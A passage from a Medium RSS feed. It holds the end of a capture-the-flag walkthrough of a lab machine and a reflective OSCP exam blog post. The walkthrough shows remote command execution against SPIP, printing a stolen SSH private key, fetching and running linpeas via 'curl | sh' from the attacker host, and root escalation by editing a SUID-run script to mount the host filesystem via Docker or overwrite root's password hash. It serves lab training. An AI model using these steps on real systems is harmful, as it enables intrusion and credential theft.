.ssh<br>0 lrwxrwxrwx 1 think    think       9 Feb 10 21:27 .viminfo -&gt; /dev/null<br>4 drwxr-x--- 5 www-data www-data 4096 Dec 20  2023 spip<br>4 -rw-r--r-- 1 root     root       35 Feb 10 21:20 user.txt<br>&quot;;&quot; autocapitalize=&quot;off&quot; autocorrect=&quot;off&quot; /&gt;<br>                        &lt;/div&gt;<br>                &lt;/div&gt;<br>        &lt;/fieldset&gt;<br>[...]</pre><p>The .ssh folder is world-readable and we look at it, typically in case a readable config or authorized_keys file is present:</p><pre>python3 yoink.py -u http://10.10.4.34/spip/ -v -c &#39;ls -las /home/think/.ssh&#39;</pre><pre>[...]<br>                                &lt;input type=&quot;email&quot; class=&quot;text email&quot; autofocus=&quot;autofocus&quot; required=&quot;required&quot; name=&#39;oubli&#39; id=&#39;oubli&#39; value=&quot;s:44:&quot;total 20<br>4 drwxr-xr-x 2 think think 4096 Jan 10 12:54 .<br>4 drwxr-xr-x 8 think think 4096 Feb 10 21:27 ..<br>4 -rw-r--r-- 1 root  root   569 Jan 10 12:54 authorized_keys<br>4 -rw-r--r-- 1 think think 2602 Jan 10 12:48 id_rsa<br>4 -rw-r--r-- 1 think think  569 Jan 10 12:48 id_rsa.pub<br>&quot;;&quot; autocapitalize=&quot;off&quot; autocorrect=&quot;off&quot; /&gt;<br>                        &lt;/div&gt;<br>                &lt;/div&gt;<br>        &lt;/fieldset&gt;<br>[...]</pre><p>Even better, we find a world-readable private key id_rsa!</p><h4>Logging in as “think”</h4><p>We grab private key that we just found and SSH into the machine as think:</p><pre>python3 yoink.py -u http://10.10.4.34/spip/ -v -c &#39;cat /home/think/.ssh/id_rsa&#39;</pre><pre>[...]<br>                                &lt;input type=&quot;email&quot; class=&quot;text email&quot; autofocus=&quot;autofocus&quot; required=&quot;required&quot; name=&#39;oubli&#39; id=&#39;oubli&#39; value=&quot;s:47:&quot;-----BEGIN OPENSSH PRIVATE KEY-----<br>b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn<br>NhAAAAAwEAAQAAAYEAxPvc9pijpUJA4olyvkW0ryYASBpdmBasOEls6ORw7FMgjPW86tDK<br>uIXyZneBIUarJiZh8VzFqmKRYcioDwlJzq+9/2ipQHTVzNjxxg18wWvF0WnK2lI5TQ7QXc<br>OY8+1CUVX67y4UXrKASf8l7lPKIED24bXjkDBkVrCMHwScQbg/nIIFxyi262JoJTjh9Jgx<br>SBjaDOELBBxydv78YMN9dyafImAXYX96H5k+8vC8/I3bkwiCnhuKKJ11TV4b8lMsbrgqbY<br>RYfbCJapB27zJ24a1aR5Un+Ec2XV2fawhmftS05b10M0QAnDEu7SGXG9mF/hLJyheRe8lv<br>+rk5EkZNgh14YpXG/E9yIbxB9Rf5k0ekxodZjVV06iqIHBomcQrKotV5nXBRPgVeH71JgV<br>[... snip ...]<br>kFX8AXaUXpJmUlTLl6on7mCpNnjjsRKJDUtFm0H6MOGD/YgYE4ZvruoHCmQaeNMpc3YSrG<br>vKrFIed5LNAJ3kLWk8SbzZxsuERbybIKGJa8Z9lYWtpPiHCsl1wqrFiB9ikfMa2DoWTuBh<br>+Xk2NGp6e98Bjtf7qtBn/0rBfdZjveM1MAAADBANoC+jBOLbAHk2rKEvTY1Msbc8Nf2aXe<br>v0M04fPPBE22VsJGK1Wbi786Z0QVhnbNe6JnlLigk50DEc1WrKvHvWND0WuthNYTThiwFr<br>LsHpJjf7fAUXSGQfCc0Z06gFMtmhwZUuYEH9JjZbG2oLnn47BdOnumAOE/mRxDelSOv5J5<br>M8X1rGlGEnXqGuw917aaHPPBnSfquimQkXZ55yyI9uhtc6BrRanGRlEYPOCR18Ppcr5d96<br>Hx4+A+YKJ0iNuyTwAAAA90aGlua0BwdWJsaXNoZXIBAg==<br>-----END OPENSSH PRIVATE KEY-----<br>&quot;;&quot; autocapitalize=&quot;off&quot; autocorrect=&quot;off&quot; /&gt;<br>                        &lt;/div&gt;<br>                &lt;/div&gt;<br>        &lt;/fieldset&gt;<br>[...]</pre><pre>vim think.rsa<br># paste the key including these two parts and everything in between:<br># -----BEGIN OPENSSH PRIVATE KEY-----<br># -----END OPENSSH PRIVATE KEY-----<br>chmod 600 think.rsa<br>ssh think@10.10.4.34 -i think.rsa</pre><p>Remember to type “yes” when asked if you trust this server. We are presented with a lovely foothold and can get the first flag:</p><pre>think@publisher:~$ wc -c user.txt <br>35 user.txt</pre><h3>Escalating to root</h3><p>In my OSCP experience blog post I describe how I invented (perhaps not as the first person) a system for figuring out what to do in certain situations; the so-called “pentest methodology”. One of the very first things I do when I get foothold like this is to run sudo -l to see if the user is able to run anything as root (or somebody else). This is a very quick thing to check and sometimes you are lucky that this points you to the right path immediately. You can read more about <a href="https://medium.com/@0xbirb/yet-another-oscp-experience-89f68701f111">my pentest methodology system by clicking this link</a>.</p><p>As such, we will do the same here:</p><pre>think@publisher:~$ sudo -l<br>[sudo] password for think:</pre><p>Unfortunately we cannot use sudo without a password, and we don’t have a password, so unfortunately we will need to move on.</p><p>Another thing I like to do on Linux-based machines almost immediately is to run linpeas.sh. This script gives us a wide variety of possible findings to dig into including but not limited to world-readable files, cron jobs, SUID/GUID binaries and much more.</p><p>We save a local version of <a href="https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS#quick-start">linpeas.sh</a> and the mimic the same way of running linpeas.sh as described on the website, however with out locally hosted python-based web server. For this we need first our VPN IP address in the lab, we need to run the web server on the attacker machine and we need to run linpeas.sh on the victim machine.</p><p>Attacker machine:</p><pre>root@kali:~$ wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh<br><br>root@kali:~$ ifconfig tun0<br>tun0: flags=4305&lt;UP,POINTOPOINT,RUNNING,NOARP,MULTICAST&gt;  mtu 1500<br>        inet 10.21.15.135  netmask 255.255.0.0  destination 10.21.15.135<br># [...]<br><br>root@kali:~$ python3 -m http.server 80<br>Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...</pre><p>We take note of our VPN IP address 10.21.15.135 and move to the victim machine, being sure to read everything carefully. Too many times have I been stuck at PrivEsc because I overlooked a tiny detail in linpeas.sh .</p><p>Upon closer inspection we notice two interesting things (most of the output has been redacted below):</p><pre>think@publisher:~$ curl -L http://10.21.15.135/linpeas.sh | sh <br>  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current<br>                                 Dload  Upload   Total   Spent    Left  Speed<br>  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0<br><br>[...]<br>╔══════════╣ Protections<br>═╣ AppArmor enabled? .............. You do not have enough privilege to read the profile set.                                                                                                                                                                                                            <br>apparmor module is loaded.<br>═╣ AppArmor profile? .............. /usr/sbin/ash (complain)<br>[...]<br>╔══════════╣ SUID - Check easy privesc, exploits and write perms<br>╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                                                                                                                                                                         <br>-rwsr-xr-x 1 root root 23K Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1                                                                                                                                                                                                                       <br>-rwsr-xr-x 1 root root 467K Dec 18  2023 /usr/lib/openssh/ssh-keysign<br>-rwsr-xr-x 1 root root 15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device<br>-rwsr-xr-- 1 root messagebus 51K Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper<br>-rwsr-sr-x 1 root root 15K Dec 13  2023 /usr/lib/xorg/Xorg.wrap<br>-rwsr-xr-- 1 root dip 386K Jul 23  2020 /usr/sbin/pppd  ---&gt;  Apple_Mac_OSX_10.4.8(05-2007)<br>-rwsr-sr-x 1 root root 17K Nov 14  2023 /usr/sbin/run_container (Unknown SUID binary!)<br>[...]</pre><p>Recapping, the interesting bits are:</p><ul><li>AppArmor is enabled — this explains our issues with writing in writeable locations (e.g., creating files in the home dir).</li><li>There’s some odd file at /usr/sbin/run_container running as root (SUID).</li></ul><p>Inspecting this file we see first of all that it’s a binary and secondly that it references something called /opt/run_container.sh:</p><pre>think@publisher:~$ file /usr/sbin/run_container                                                                                                                                                                                                                                                          <br>/usr/sbin/run_container: setuid, setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=de92d7f1ac0088bfa52908d5945bfb4fd8fd390e, for GNU/Linux 3.2.0, not stripped                                                   <br><br>think@publisher:~$ strings /usr/sbin/run_container                                                                                                                                                                                                                                                       <br>/lib64/ld-linux-x86-64.so.2<br>libc.so.6<br>__stack_chk_fail<br>execve<br>__cxa_finalize<br>__libc_start_main<br>GLIBC_2.2.5<br>GLIBC_2.4<br>_ITM_deregisterTMCloneTable<br>__gmon_start__<br>_ITM_registerTMCloneTable<br>u+UH<br>[]A\A]A^A_<br>/bin/bash<br>/opt/run_container.sh<br>[...]</pre><p>We also see that /opt/run_container.sh is world-writeable, so this will be interesting. If we can find a way to exploit this, we can become root!</p><p>But it seems that we cannot write to the file because of AppArmor. This is where this write-up splits in two options. We will go through the alternative method, first.</p><h4>Alternative way to root</h4><p>The alternative is rather simple, actually. We know that we have full permission to write to the /opt/run_container.sh script, but using the login session we get with SSH won’t let us do it.</p><p>Now, what if we scp copy a modified version of the file, overwriting the original? Fun!</p><p>We add an additional step to the options in the script, in this case turning case 5 of exiting into step 6, and adding our own step as the 5th:</p><pre>options=(&quot;Start Container&quot; &quot;Stop Container&quot; &quot;Restart Container&quot; &quot;Create Container&quot; &quot;Pwn&quot; &quot;Quit&quot;)<br><br>select opt in &quot;${options[@]}&quot;; do<br>    case $REPLY in<br>        1) docker start &quot;$container_id&quot;; break ;;<br>        2)  if [ $(docker ps -q | wc -l) -lt 2 ]; then<br>                echo &quot;No enough containers are currently running.&quot;<br>                exit 1<br>            fi<br>            docker stop &quot;$container_id&quot;<br>            break ;;<br>        3) docker restart &quot;$container_id&quot;; break ;;<br>        4) echo &quot;Creating a new container...&quot;<br>           docker run -d --restart always -p 80:80 -v /home/think:/home/think spip-image:latest <br>           break ;;<br>        5) echo &quot;Running container with root system mounted in. :)&quot;<br>           docker run --rm -it --entrypoint bash -v /:/pwned ubuntu:20.04<br>           break ;;<br>        6) echo &quot;Exiting...&quot;; exit ;;<br>        *) echo &quot;Invalid option. Please choose a valid option.&quot; ;;<br>    esac<br>done</pre><p>Notice the &quot;Pwn&quot; addition in the options line. Let’s look at the new step in detail:</p><pre>5) echo &quot;Running container with root system mounted in. :)&quot;<br>   docker run --rm -it --entrypoint bash -v /:/pwned ubuntu:20.04<br>   break ;;</pre><p>Docker lets you mount in whatever paths you need into your container. This can be a bit of a problem, if the wrong person gets their hands on something or somebody able to run docker as root.</p><p>Let’s go through the command step by step:</p><ul><li>docker run — run a new container with the image specified in the end.</li><li>--rm — be polite and delete the container after stopping it (clean-up).</li><li>-it — run the container in interactive, e.g., to interact with bash.</li><li>--entrypoint bash — the command to run when the container starts.</li><li>-v /:/pwned — this is the good bit: mount <em>the entire</em> root filesystem into the /pwned location inside the container.</li><li>ubuntu:20.04 — the image of which to run a container of. We know this is the one to use from inspecting the Dockerfile of the SPIP image at</li></ul><p>When we run this container as root through the /opt/run_container.sh script, we get full, unrestricted access to the root filesystem on the host (victim) machine. This lets us not only print the root.txt flag, but also modify /etc/shadow replacing the bcrypt password of root with a value that we know the corresponding password of, and a multitude of other root-level persistence techniques.</p><p>Let’s go! After modifying the file we use scp to upload the file, overwriting the original:</p><pre>root@kali:~$ scp -i think.rsa run_container.sh think@10.10.204.24:/opt/run_container.sh<br>run_container.sh</pre><p>Then we run the SUID bin to exploit:</p><pre>think@publisher:/dev/shm$ /usr/sbin/run_container<br>List of Docker containers:<br>ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 34 minutes<br><br>Enter the ID of the container or leave blank to create a new one: <br>/opt/run_container.sh: line 16: validate_container_id: command not found<br><br>OPTIONS:<br>1) Start Container<br>2) Stop Container<br>3) Restart Container<br>4) Create Container<br>5) Pwn<br>6) Quit<br>Choose an action for a container: 5<br>Running container with root system mounted in. :)</pre><p>and get presented with a new container, which has the root file system mounted in:</p><pre>root@a6f0e860ef90:/# ls -l /pwned/root/<br>total 8<br>-rw-r----- 1 root root   35 Feb 10 21:20 root.txt<br>drwxr-x--- 5 1000 1000 4096 Dec  7  2023 spip<br>root@a6f0e860ef90:/# wc -c /pwned/root/root.txt <br>35 /pwned/root/root.txt</pre><h4>Another trick</h4><p>When typing this write-up I decided to test a 2nd alternative way to root, by changing the bcrypt hashed password of the root user in the /etc/shadow file to the value of a known password. This is another fun little one, so let’s run through it quickly.</p><p>First we create a dummy account on our attacker machine with username borb and password borb123:</p><pre>root@kali:~$ adduser borb  <br>info: Adding user `borb&#39; ...<br>info: Selecting UID/GID from range 1000 to 59999 ...<br>info: Adding new group `borb&#39; (1001) ...<br>info: Adding new user `borb&#39; (1001) with group `borb (1001)&#39; ...<br>info: Creating home directory `/home/borb&#39; ...<br>info: Copying files from `/etc/skel&#39; ...<br>New password:<br>Retype new password: <br>passwd: password updated successfully<br>Changing the user information for borb<br>Enter the new value, or press ENTER for the default<br>        Full Name []: <br>        Room Number []: <br>        Work Phone []: <br>        Home Phone []: <br>        Other []: <br>Is the information correct? [Y/n] <br>info: Adding new user `borb&#39; to supplemental / extra groups `users&#39; ...<br>info: Adding user `borb&#39; to group `users&#39; ...</pre><p>We then grab the password hash:</p><pre>root@kali:~$ cat /etc/shadow | grep borb   <br>borb:$y$j9T$NZ/sey2aHAm9lTDVPsdNQ.$Dmr6EE5e28jAXTT1SiqKkttJBGsQY4QHOCxRqVA8UN/:19913:0:99999:7:::</pre><p>…and update the run_container.sh script with a 6th option:</p><pre>6) echo &quot;Setting SUID on pwn binary at /dev/shm/pwn&quot;<br>   usermod -p &#39;$y$j9T$NZ/sey2aHAm9lTDVPsdNQ.$Dmr6EE5e28jAXTT1SiqKkttJBGsQY4QHOCxRqVA8UN/&#39; root<br>   break ;;</pre><p>Finally we transfer the new script and run it, selecting option 6:</p><pre>think@publisher:/dev/shm$ /usr/sbin/run_container<br>List of Docker containers:<br>ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 40 minutes<br><br>Enter the ID of the container or leave blank to create a new one: <br>/opt/run_container.sh: line 16: validate_container_id: command not found<br><br>OPTIONS:<br>1) Start Container<br>2) Stop Container<br>3) Restart Container<br>4) Create Container<br>5) Pwn<br>6) Root User Pwn<br>7) Quit<br>Choose an action for a container: 6<br>Setting SUID on pwn binary at /dev/shm/pwn</pre><p>We can then simply su root and log in:</p><pre>think@publisher:/dev/shm$ su root<br>Password: <br>root@publisher:/dev/shm$ wc -c /root/root.txt <br>35 /root/root.txt</pre><h4>Intended way to root</h4><p>The intended way to root is similar but involves upgrading the shell to an unrestricted shell by starting bash using a specific shared library:</p><pre>think@publisher:~$ /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/bash</pre><p>After upgrading the shell we can create a new folder birb in the home dir (and have thus bypassed the AppArmor write protections):</p><pre>think@publisher:~$ ls -l<br>total 12<br>drwxrwxr-x 2 think    think    4096 Jul  9 11:54 birb<br>drwxr-x--- 5 www-data www-data 4096 Dec 20  2023 spip<br>-rw-r--r-- 1 root     root       35 Feb 10 21:20 user.txt</pre><p>The remaining steps from here are the same as before with the exception that you can now directly edit the /opt/run_container.sh script in your SSH session.</p><h3>Thank you</h3><p>Thank you for reading along. If you liked this article, please consider liking it or leaving a comment. Until next time!</p><p>— Birb</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13c9198d0991" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Yet Another OSCP Experience]]></title>
            <link>https://medium.com/@0xbirb/yet-another-oscp-experience-89f68701f111?source=rss-f61ffb42a618------2</link>
            <guid isPermaLink="false">https://medium.com/p/89f68701f111</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[methodology]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Birb]]></dc:creator>
            <pubDate>Mon, 08 Jul 2024 19:47:09 GMT</pubDate>
            <atom:updated>2024-11-23T10:49:41.292Z</atom:updated>
            <content:encoded><![CDATA[<h4>A blog post of my journey in the OSCP exam and how I discovered what it means to “build a pentest methodology”.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*douCxgO_z1FiwHJn0g8h-A.png" /><figcaption>Original article date: 27 Jul 2019. Image generated by AI.</figcaption></figure><h3>#!/bin/bash</h3><p>This is not your average golden story. In fact I want to avoid writing yet another OSCP experience post about yet another first attempt victory because there are so many of those already. Instead, this blog post will focus firstly on what I believe it means to “Try Harder” and secondly how I discovered the subtle but important difference between being able to follow ones own methodology, and actually understanding why the methodology ended up the way it did. Before we begin I would of course like to mention that I rooted 4/5 boxes within the first 12 hours, finished my report and got the congratulating email about three weeks later. It just wouldn’t be an OSCP experience blog post without this note now would it? :)</p><p>Without further ado, welcome to the thoughts of a crazy parrot.</p><h4>“Work on your methodology”, they said…</h4><p>When going through the course and hacking my way through the lab, I often chatted with fellow students and current OSCP certificate holders about this and that. One of the questions which I frequently asked them is which topics I should focus on learning first and how I was able to tell what I needed to know. More often than not, the recommendation was to “work on your methodology”. I asked how I should go about working on it, and what a “pentest methodology” was exactly, but I usually received mixed replies. The common denominator however was to hack more machines and learn by doing. I was left feeling confused because to me it felt like I had asked how I learned to swim, but had then been told that the way to learn how to swim, is to try to get across as many lakes as possible with less and less help.</p><p>So I swam. I swam for hours and hours every night. In the weekend I swam even more and my goodness what a tough experience it was in the beginning. After a while — a month or so — I started becoming more independent. Another month went by and my notebook had grown with a lot of exploitation notes, useful commands and code snippets. I finally started feeling prepared for the exam, although I knew I still had to practice a few things (more BOFs, writing a report and such). A few days before my 90 days lab time ended I believe I had cracked the code of what it means to “work on your methodology”. What it meant to swim. In principle it is actually fairly simple once you realise what it is you’re doing. Simply put a “pentest methodology” is the ability to approach known as well as unknown problems with some idea(s) on how to either tackle or further explore the given situation. This perhaps sounds a little generic, but think of it as a set of options you have for each know and unknown part of the problem. If you recognise a part of the problem you may be able to apply the same (or similar) actions that you did in the past. If you do not recognise it, you may be able to futher explore the ins and outs of the problem at hand, potentially leading to new options. Visually speaking this can be seen as paths on the ground which you could walk down and potentially gain some reward at the end. Let me explain.</p><h4>Picking the right path</h4><p>Imagine that ahead of you lie n paths that you can explore. Each path represent an action that you are able to perform, for example using a tool, running a script or performing technique. In addition, each of these paths have some score indicating their likelihood to get you a reward of some kind. For simplicity, let’s suppose the path score is a function f(p) = L(p)/T(p), that is a function f of some path p, where L(p) is the varying likelihood that the particular action (path) will lead somewhere helpful, and T(p) is the usual time it takes to perform this action. For example, even if the www-data user is typically not likely to have sudo privileges, in a CTF setting it may be a very good idea to run sudo -l very early on to quickly either rule out that path for now or get an easy win. The path “execute sudo -l” therefore has a high path score because it is really fast to run (T(p)is low), despite the chance of success (L(p)) also being low-ish.</p><p>Let’s look at another example. Suppose that you have just finished an nmap scan of a target machine, and the following interesting ports were identified: 80 (HTTP), 139 + 445 (SMB) and 3306 (MySQL). Discovering these services automatically rules out a large amount of potential paths to explore, such as anything related to FTP as this does not seem to be present at all. Not yet, anyway. Experience has furthermore told me that MySQL is often never the first path to explore, but likely useful later on, giving it a low path score early on in the attack.</p><p>Now “building the methodology” essentially means paving a new path for you to explore, given some circumstance. As you may have guessed, these paths are not linear paths but rather tree-like data structures (like a family tree, starting at you). With experience you start remembering what you can try in different scenarios by heart, and you get a feel for which tests you should perform first, even if they are typically not the way to go. Take a samba share vs. a website as an example: often the way into the machine — especially in a CTF-like environment — is through the website either with or without help from SMB. However, since it is relatively easy to explore or rule out a samba share as being a good first step - compared to finding vulnerabilities on a website that is - this is not a bad path to start with. Who knows, enum4linux may reveal user information that is useful on the website or the share may even grant full access to some interesting directory for the world to explore.</p><p>As you can imagine, preparation and information gathering are important steps in the process of breaking into a machine or network. Often what appeared to be the optimal path to follow may turn out to be a fluke once more information is discovered and added to the grand equation. Remember that these path scores “update” themselves as more information is discovered either ruling some paths out entirely or pushing other paths into the spotlight. With this in mind, notice how I failed to apply my methodology efficiently in the first part of my exam, and how I slowly realised what my mistake was and what happened as soon as I applied “Trying Harder” correctly. One thing is building a methodology, another — as I discovered — is to follow it.</p><h4>At last, the exam</h4><p>The very first machine in the exam network that I attempted taught me a valuable lesson about my methodology: trust it, but don’t follow it blindly. I decided to use the buffer overflow machine to warm up for the rest of the exam, and I happily followed my well-prepared steps and made progress. Until I didn’t. I was confused and wondered if I had done something wrong. Was it stage fright? It wasn’t until I sat down and thought about <em>why</em> I was performing the steps I performed, that I realised that there was a twist. This wasn’t an examination in whether or not I could blindly follow some memorised steps required to successfully perform a buffer overflow, but a test in whether or not I <em>understood why</em> I was performing these steps in the first place. Once I did — once I trusted my methodology and didn’t follow it blindly — I made all the progress I needed and secured my first handful of points.</p><p>I guess at this point I completely wiped my mind and forgot all about about trusting but not blindly following my methodology, because I did the complete opposite. To my luck however, I soon after successfully compromised the “lesser” machine in the pool. I decided on a next target — the one I knew the most about (i.e. I had the most plausible paths to explore) — and quite quickly figured out what I had to do. I just couldn’t do it. Nothing seemed to be working, and even when I found a walkthrough of the vulnerable service that I could follow very closely and step-by-step, I wasn’t getting any shells thrown in my general direction. Nothing at all in fact. All I got was more emptiness for my empty feeling.</p><p>Thankfully, things were starting to click at this point about 4 hours into the exam. I knew from my methodology that I should try to replicate the steps in the proof of concepts, and that if they didn’t work I should try something else. I decided to take a few steps back and tried to gather my thoughts and what I knew about the machine and vulnerability. I tried to compare the “path scores” of the paths I had laid out in front of me, and realised two things. First of all, I was on the right path, I knew that much, but secondly things were not working because as with the other machines there was a twist. Of course there was a twist! Say it with me this time: <em>Trust your methodology but don’t follow it blindly.</em></p><p>One would think that after three machines which were all compromised in the end because I trusted my methodology and didn’t follow it blindly, the final and fourth machine would be a walk in the park. Heh. I was stuck for another <strong>four</strong> hours doing initial information gathering about the two remaining machines. Why? Well, my methodology that I had build up over time said that if active discovery scripts like wfuzz and gobuster and the like don’t yield any results from the first two thirds of the directory-2.3-medium.txt wordlist (thank you, IppSec) then it’s likely not going to yield anything useful at all. That had been the case almost always in the past (I rooted ~35 machines in the lab, by the way), so it was likely not the case here either. <em>Trust your methodo…</em> you get where I’m going with this.</p><p>Eventually I got the first lead and from that point the remaining attack wasn’t all that complicated. I quickly identified what I needed to identify, I <em>finally</em> had learned how to use my methodology efficiently and I immediately knew how to overcome all the hurdles that I encountered during the final compromisation. I had finally rooted 4/5 machines and finally obtained (in theory) 80 points and could finally either get some well-deserved sleep or prepare my penetration testing report. I wasn’t going to get any sleep at that point that was for sure — quite honestly I was shaking all over my body and my heart was racing like mad, from pure exhilaration — so I spend a few hours on preparing my report and then went to bed when my nerves had calmed down again.</p><h4>Trust your methodology, but don’t follow it blindly</h4><p>If you’re still with me you have my deepest thanks. To wrap all of this up I hope that I have succeeded at least a little bit in expressing my thoughts about what my methodology and also biggest take-away from the course and exam. It has taken me a while to even be able to put words to what this new-grown “feeling” of mine even is. The feeling of weighing up the different paths with one another and exploring the most likely paths little by little.</p><p>Please feel free to reach out to me on Discord at 0xbirb (previously @Birb#0001) with anything you might want to share. I will happily listen to your thought and feedback or further discuss anything you’ve read in here today. Once again, thank you for staying with me this far.</p><p>May the winds guide you.</p><p>- Birb</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=89f68701f111" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>